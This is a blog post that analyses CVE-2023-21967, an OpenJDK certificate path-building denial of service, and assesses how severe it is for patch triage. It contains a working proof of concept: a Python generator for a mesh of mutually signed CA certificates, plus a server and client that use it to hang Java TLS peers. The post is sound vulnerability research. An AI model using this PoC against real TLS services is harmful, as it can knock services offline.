Security professionals are inundated with CVEs; the National Vulnerability Database reports receiving over 2,466 to analyze in August 2023 alone.1 It remains an important skill to triage and remediate vulnerabilities most important to your products and environment. Part of this involves technically analyzing publicly available vulnerability data to make an assessment about the changes.
In this post, we will demonstrate this process with CVE-2023-21967, a vulnerability in OpenJDK.
Identifying a CVE
The April 2023 OpenJDK Vulnerability Advisory
and Oracle Critical Patch Update (CPU) Advisory both list
CVE-2023-21967, among numerous other vulnerabilities. The stated affected versions are 20, 17.0.6, 11.0.18, 8u362, and
earlier. These two sources both list security-libs/javax.net.ssl
or “JSSE” as the affected component. JSSE, or
Java Secure Socket Extension, is an API implementation of TLS and DTLS. This API provides all the encryption protocol
support and certificate parsing to securely communicate over the Internet without developers needing to create their own
implementations.
With a CVSSv3.1 score of 5.9 and a vector of CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
, this vulnerability exists
in the tricky middle ground when it comes to prioritizing an upgrade fix. The two advisories themselves fail to provide
any further information relating to the vulnerability fix.
Not all CVE descriptions are created equal. The description provided to MITRE, listed below, is fairly generic and typical of OpenJDK CVEs.2
Vulnerability in the Oracle Java SE, Oracle GraalVM Enterprise Edition product of Oracle Java SE (component: JSSE). Supported versions that are affected are Oracle Java SE: 8u361, 8u361-perf, 11.0.18, 17.0.6, 20; Oracle GraalVM Enterprise Edition: 20.3.9, 21.3.5 and 22.3.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Java SE, Oracle GraalVM Enterprise Edition. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Java SE, Oracle GraalVM Enterprise Edition. Note: This vulnerability applies to Java deployments, typically in clients running sandboxed Java Web Start applications or sandboxed Java applets, that load and run untrusted code (e.g., code that comes from the internet) and rely on the Java sandbox for security. This vulnerability can also be exploited by using APIs in the specified Component, e.g., through a web service which supplies data to the APIs. CVSS 3.1 Base Score 5.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H).3
“Difficult to exploit” and “a hang or frequently repeatable crash (complete DOS)” are less than concrete. Unfortunately, the CPU and JDK release notes fail to provide any further information. The lack of details lends this CVE to further analysis.
Information Gathering
The initial CVE references do not provide any further specific details about location in the code. We can of course do a diff between versions on the OpenJDK source to narrow down affected files, but a quick search with the CVE ID pulls up the Red Hat bug tracker for this issue.
The issue on Red Hat Bugzilla
This particular entry gives us an OpenJDK bug tracking ID of 8298310 in the title, but access controls prevent us from using this to read the Open JDK bug tracking system’s entry for this issue. Unfortunately, it is common practice for the public to be restricted from accessing security related entries in the bug tracker, even for four year old vulnerabilities with released exploit code.4 In this case, we got lucky in getting the OpenJDK bug ID this way, though they are sometimes included in CPUs. More generally, these IDs can be reliably obtained from patch commits linked in the issue’s comments:
The commits posted on Red Hat Bugzilla
These comments get us what we need, a commit and a slightly better description.
The commit lists changes to six files in src/java.base/share/classes/sun/security/provider/certpath/
:
AdjacencyList.java
Builder.java
ForwardBuilder.java
ForwardState.java
State.java
SunCertPathBuilder.java
Given the files and brief description from the Red Hat bug tracker, we suspect that the vulnerability occurs within the certificate chain validation functionality utilized when establishing a TLS connection. Before proceeding to dissect the specific file changes, let us look more generally at how certificate chain validation occurs.
Certificate Chain, Path Building and Validation
In order to establish a secure TLS connection, the client needs to trust the certificate provided from the server by making sure it is issued by a trusted Certificate Authority (CA). The trust relation is based on certificates signature. Basically, a certificate is trusted if it is signed by a trusted entity.
To do so, the client will rely on a list of trusted certificates stored within its truststore. This is accomplished by
checking if the server’s certificate has been issued and signed by a trusted entity. However, in most cases a
single certificate provided by a server will not be directly issued by a trusted CA. In such scenarios, the server will
provide the client with additional certificates that fill the gap between the server’s end-entity (or leaf) certificate and a root
certificate. This is is called a certificate chain
.
As illustrated in the next picture, a certificate chain is nothing other than a list of certificates connected to each
other by a relation of trust (signature). Those additional certificates appearing in the middle are called
Intermediate Certificates
. Each intermediate certificate is signed by either a root certificate or another
intermediary certificate. The link from the server’s certificate to the root certificate going through n
intermediate
certificates is called a path
.
One can imagine the PKI structure (including truststore + chain received) as a directed graph where each vertex is a certificate and any edge between two vertices A and B means that certificate A is the issuer of certificate B.
After receiving the certificate chain, the client will utilize those certificates to attempt to build a valid path from the end entity to a trusted root certificate. Section 6.1 of RFC 5280 provides the following succinct description of a basic x.509 path validation:
(a) for all x in {1, ..., n-1}, the subject of certificate x is
the issuer of certificate x+1;
(b) certificate 1 is issued by the trust anchor;
(c) certificate n is the certificate to be validated (i.e., the
target certificate); and
(d) for all x in {1, ..., n}, the certificate was valid at the
time in question.
This brief description does not highlight all of the complexities involved. RFC 4158 details the methodology and algorithms and optimizations to build a valid path in scenarios more complicated than a straightforward hierarchical PKI scenario.
In recent years, the ability for a client to build a valid path has received more attention as major root CA certificates expired, such as the AddTrust External CA Root certificate in May 2020 or the Let’s Encrypt R3 certificate in September 2021. As of TLS 1.3, servers may send certificate chains capable of building multiple valid paths, especially relevant when transitioning intermediate certificates5. Outages may appear to occur when one path fails and clients cannot build an alternative trusted path.
Code Review
JSSE performs Public Key Infrastructure (X.509) (PKIX) certificate chain validation as described
in RFC 5280 (Section 6). Specifically, a PKIXValidator
will
return a validated X.509 certificate chain. This chain is provided by the default PKIX certificate path
builder, SunCertPathBuilder
, utilizing a set of requirements defined in a PKIXBuilderParameters
object.
SunCertPathBuilder
uses a depth-first search algorithm to create a validated certificate chain from the
target end-entity certificate to a trust anchor certificate. The recursive depthFirstSearchForward
method of SunCertPathBuilder
proceeds building a path of certificates, backtracking when the chain terminates before reaching a trust anchor or the
path reaches a maximum length.ForwardState
and ForwardBuilder
provide the necessary state and certificate retrieval
functionality utilized during path creation.
The commit lists changes to six files in src/java.base/share/classes/sun/security/provider/certpath/
:
AdjacencyList.java
Builder.java
ForwardBuilder.java
ForwardState.java
State.java
SunCertPathBuilder.java
The changes in ForwardBuilder.java
are the most significant and the likely candidate for the vulnerability.
Changes in the other files mostly appear to be cleanup and minor improvements.
ForwardBuilder.java
ForwardBuilder::verifyCert
contains significant changes to loop detection. It is trivial to build a set of two
certificates that point to each other as issuers. Loop detection prevents infinite recursion by failing when a
certificate shows up twice in a given certificate path, so this change could be significant. Previously, verifyCert
used the Certificate::equals
method when comparing certificates for equality.
Commit differential of ForwardBuilder
The documentation for Certificate::equals
:
Compares this certificate for equality with the specified object. If the other object is an instanceof Certificate, then its encoded form is retrieved and compared with the encoded form of this certificate.
The new repeated
method enhances the logic. It keeps a Certificate::equals
check, but also considers two certificates
equal if their respective public keys, subject distinguished names, and subject alternative names match.
Why would the developers make this change? After all, there are a number of reasons that two certificates may differ
even with the same public key and subject. The introduction of the repeated
method is purely done for path-building
optimization. It is important to know that there are ranges of PKI structures going from simple hierarchical ones to
mesh structures. Treating such structures as directed graphs, path building can easily become a complex and resource
exhaustive task. This is why path-building optimization is crucial for finding paths within a complex PKI
structures.
Within the loop detection recommendation within RFC 4158, it is recommended to detect the presence of certificates with the same subject name, subject alternative name, and public key. A certificate with the same combination of these elements should not show up twice in a valid certificate path. This check eliminates superfluous paths and is an optimization approach for depth-first tree traversal path building. Section 2.4.2 of RFC 4158 provides more details on path-building optimization and the reasons behind such similar certificates detection.
Configuration
Before building a proof of concept, it is important to note two properties that affect how many paths are attempted.
The property jdk.tls.maxHandshakeMessageSize
, with a default value of 32768 (32 kilobytes), restricts the size of
messages during the TLS handshake. Since an increasing number of certificates will increase the size of the
handshake message, it in practice restricts the number of certificates we can send to the client, which the client
could then attempt to use in path building. The property jdk.tls.maxCertificateChainLength
, with a default value of
10, directly limits the size of the certificate chain we can provide.6 Both properties were introduced as part of
JDK-8245417 (still non-public) in October 2020, corresponding to versions 11.0.9+7, 1.8. 0_271-b09, and 1.7.0_281-b06.7
For our proof of concept to showcase the optimization changes, we’ll run the client with
-Djdk.tls.maxCertificateChainLength=100 -Djdk.tls.maxHandshakeMessageSize=98304
.
Proof of Concept
With the patch targeting path-building optimization, we can presumably build a proof of concept that causes
extraneous resource intensive path building. The worst case scenario for depth first search path building is a graph
where every node is signed by every other node, think a directed complete graph where each edge represents a
certificate. SunCertPathBuilder
will build a certificate path by progressing to the issuer DN of the subject
certificate. Without the optimizations introduced by the patch, it will happily progress to an issuer DN it has
already seen as long as the certificates are unequal. With our directed graph, we will indeed provide it multiple
certificate options to take for a single issuer DN. Our Python script will create the certificates representing the
directed complete graph. The number of edges, or certificates, is simply calculated by n(n-1)
, where n
represents
the number of vertices in the complete graph.
Step 1 - Setup a Java Client
We will create the most basic client that attempts to establish a secure connection with our malicious server. Normally a vulnerability like this would be triggered the other way around, such as in mTLS, but this will satisfy our simple test.
import javax.net.ssl.*;
public class TLSTest {
public static void main(String[] args) throws Exception {
try {
SSLSocketFactory factory = (SSLSocketFactory)SSLSocketFactory.getDefault();
SSLSocket socket = (SSLSocket)factory.createSocket("localhost", 8080);
socket.startHandshake();
socket.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
Step 2 - Setup a Python Server
We’ll use a simple Python TLS server to provide our own certificate chain. This opens up modifying the certificate chain without the intermediate verification steps from a Java keystore.
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl
httpd = HTTPServer(('localhost', 8080), BaseHTTPRequestHandler)
httpd.socket = ssl.wrap_socket(httpd.socket,
keyfile="certs/key.pem",
certfile='certs/full-chain.pem',
server_side=True)
httpd.serve_forever()
Step 3 - Generate Malicious Certificates
The below code creates a mesh PKI structure, where every node is signed by every other node. It will generate all the
signed certificates and private keys needed to represent this structure and output all materials in
certs/
. All the signed certificates will be bundled together in certs/full-chain.pem
,
where the first certificate in the file is the end-entity certificate.
# May need to pip3 install cryptography
import datetime
import itertools
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
CERT_PATH = 'certs/'
def generate_certificate(edge):
issuer = edge[0]
subject = edge[1]
issuer_key = private_keys[issuer]
subject_key = private_keys[subject]
builder = x509.CertificateBuilder()
builder = builder.subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, subject)]))
builder = builder.issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, issuer)]))
builder = builder.not_valid_before(datetime.datetime.now(datetime.timezone.utc))
builder = builder.not_valid_after(datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=50))
builder = builder.serial_number(x509.random_serial_number())
builder = builder.public_key(subject_key.public_key())
builder = builder.add_extension(x509.SubjectAlternativeName([x509.DNSName(subject)]),critical=False)
builder = builder.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True,) # Everyone gets to be a CA!
builder = builder.add_extension(
x509.KeyUsage(
digital_signature=True,
key_encipherment=True,
key_cert_sign=True,
key_agreement=True,
content_commitment=True,
data_encipherment=True,
crl_sign=False,
encipher_only=False,
decipher_only=False),
critical=False
)
certificate = builder.sign(issuer_key, hashes.SHA256())
cert_graph_certs.append(certificate.public_bytes(serialization.Encoding.PEM))
with open(CERT_PATH + subject + "-signed-by-" + issuer + ".pem", "wb") as f:
f.write(certificate.public_bytes(serialization.Encoding.PEM))
vertex_count = 10
cert_graph = list(itertools.permutations(list(range(vertex_count)), 2))
cert_graph = [(str(edge[0]),str(edge[1])) for edge in cert_graph]
unique_vertex = []
# Get Unique Vertex
for edge in cert_graph:
if edge[0] not in unique_vertex:
unique_vertex.append(edge[0])
if edge[1] not in unique_vertex:
unique_vertex.append(edge[1])
private_keys = {}
selfsigned_certs = {}
# Generate Private Key and Self Signed Certificates for every Vertex
for vertex in unique_vertex:
key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
# Write private key
with open(CERT_PATH + vertex + "-key.pem", "wb") as f:
f.write(key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption()
))
# Create self-signed certificate
builder = x509.CertificateBuilder()
builder = builder.subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, vertex)]))
builder = builder.issuer_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, vertex)]))
builder = builder.not_valid_before(datetime.datetime.now(datetime.timezone.utc))
builder = builder.not_valid_after(datetime.datetime.now(datetime.timezone.utc) + datetime.timedelta(days=50))
builder = builder.serial_number(x509.random_serial_number())
builder = builder.public_key(key.public_key())
builder = builder.add_extension(x509.SubjectAlternativeName([x509.DNSName(vertex)]),critical=False)
builder = builder.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True,)
certificate = builder.sign(key, hashes.SHA256())
private_keys[vertex] = key
selfsigned_certs[vertex] = certificate
# Write self-signed certificates
with open(CERT_PATH + vertex + "-ss.pem", "wb") as f:
f.write(certificate.public_bytes(serialization.Encoding.PEM))
cert_graph_certs = []
for edge in cert_graph:
generate_certificate(edge)
# Bundle and write all signed certificates together
with open(CERT_PATH + "full-chain.pem", "w") as f:
for cert in reversed(cert_graph_certs):
f.write(cert.decode('UTF-8'))
To start, we’ll have it create the structure for ten nodes all signed by each other, defined in the variable
vertex_count
. We’ll run this file, expecting 90 certificates to be created.
$ mkdir certs
$ pip3 install cryptography
$ python3 cert-helper.py
Step 4 - Run Python Server
The path to all of the signed certificates and end-entity private key will need to be specified to the Python Server created in Step 2. We can then run the server.
$ python3 https-server.py
Step 5 - Run Payload Pre-Patch (OpenJDK 11.0.18)
To showcase optimization differences better, we’ll run our Java client with jdk.tls.maxCertificateChainLength
and
jdk.tls.maxHandshakeMessageSize
set to non-default values.
$ java -Djdk.tls.maxCertificateChainLength=100 -Djdk.tls.maxHandshakeMessageSize=98304 TLSTest.java
There will be a noticeable hang, about 15 seconds, as the client attempts to validate the certificate path provided by
the server, which is the denial of service condition. If we then run this program under a debugger and set a
breakpoint in SunCertPathBuilder::PKIXCertPathBuilderResult
, we can see the size of the
AdjacencyList
used to store the history of certification paths attempted in constructing a path from an
initiator to a target.
The client will of course fail to validate a certificate path since the server did not provide a path with a trust anchor in the client truststore.
Step 6 - Run Payload Post-Patch (OpenJDK 11.0.19)
We’ll run the Java client with same non-default settings.
$ java -Djdk.tls.maxCertificateChainLength=100 -Djdk.tls.maxHandshakeMessageSize=98304 TLSTest.java
In the debugger, we can see the AdjacencyList
is significantly smaller than in the pre-patch example.
Proof of Concept - Client Authentication
Of course, a web server causing a denial of service condition for clients is fairly pointless and unrealistic. A more interesting scenario is in the case of mutual authentication where the client also provides a certificate chain for the server to verify. A denial of service condition here would cause the server to appear to be down for other clients attempting to connect.
Step 1 - Setup a Java Server
We’ll use the Java server provided in the sample JSSE code. I won’t copy the instructions verbatim, as the documentation walks through the sample code here. We can run the server as instructed below, with our properties set to non-default values again.
$ javac ClassFileServer.java
$ java -Djdk.tls.maxCertificateChainLength=100 -Djdk.tls.maxHandshakeMessageSize=98304 ClassFileServer 8080 /Users/sam.shahsavar/ TLS true
Step 2 - Setup a Python Client
We will setup a Python client that will provide the certificates generated by our tool in the above section. We’re not going to bother verifying the certificate from the server since it is irrelevant to the malicious client.
import requests
result = requests.get(
'https://localhost:8080/test.txt',
cert=('/certs/full-chain.pem', '/certs/key.pem'),
verify=False)
Step 3 - Run Python Client
We will then simply run the Python client.
$ python3 client.py
There will again be a noticeable hang. If we setup a debugger for ClassFileServer.java
, we see similar
results to the previous example.
Further Tests
The chart below documents the results from a variety of scenarios with our proof of concept, configured from three to twenty nodes. The patch succeeds in substantial optimizations, especially as the scenarios get more ludicrous.
Nodes | Certificate Chain Length | Pre-Patch Time (ms) | Post-Patch Time (ms) | Pre-Patch AdjacencyList | Post-Patch AdjacencyList |
---|---|---|---|---|---|
3 | 6 | 262 | 133 | 17 | 6 |
4 | 12 | 565 | 137 | 167 | 17 |
5 | 20 | 779 | 150 | 849 | 66 |
6 | 30 | 1137 | 185 | 2843 | 327 |
7 | 42 | 2027 | 253 | 7443 | 1238 |
8 | 56 | 3918 | 382 | 16527 | 3621 |
9 | 72 | 9643 | 613 | 32777 | 8802 |
10 | 90 | 15304 | 1028 | 59699 | 18731 |
20 | 380 | N/A | 62444 | N/A | 1494561 |
In addition to the previously documented proof of concept scenarios, we also tested the situation where the server was not expecting client certificates but was provided them anyway, noting no impact.
Impact
Triggering a hang from this condition in the wild is not impossible but unlikely, as the default values of
jdk.tls.maxCertificateChainLength
and jdk.tls.maxHandshakeMessageSize
set fairly safe boundaries. With this in
mind, a CVSS rating of 5.9 is likely too high. Better information in the CVE description detailing exploitability
and configuration would further enable the community to evaluate the overall risk of this type of vulnerability.
Final Thoughts
Reviewing actual code changes and building our own test cases provide useful context about the nature of a CVE. In this case, we are fairly confident that CVE-2023-21967 targets improvements in the certificate path building algorithm. The patch implements recommendations for optimizing certification path building algorithm described in RFC 4158 from 2005. Without this patch, excessive resources could be spent during path building of complex PKI structures.
-
https://web.archive.org/web/20230921210434/https://nvd.nist.gov/general/nvd-dashboard ↩
-
https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=Oracle+Java+SE ↩
-
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-21967 ↩
-
https://bugs.openjdk.org/browse/JDK-8219022 ↩
-
https://datatracker.ietf.org/doc/html/rfc8446#section-4.4.2 ↩
-
https://docs.oracle.com/javase/8/docs/technotes/guides/security/jsse/JSSERefGuide.html ↩
-
https://www.oracle.com/java/technologies/javase/11all-relnotes.html ↩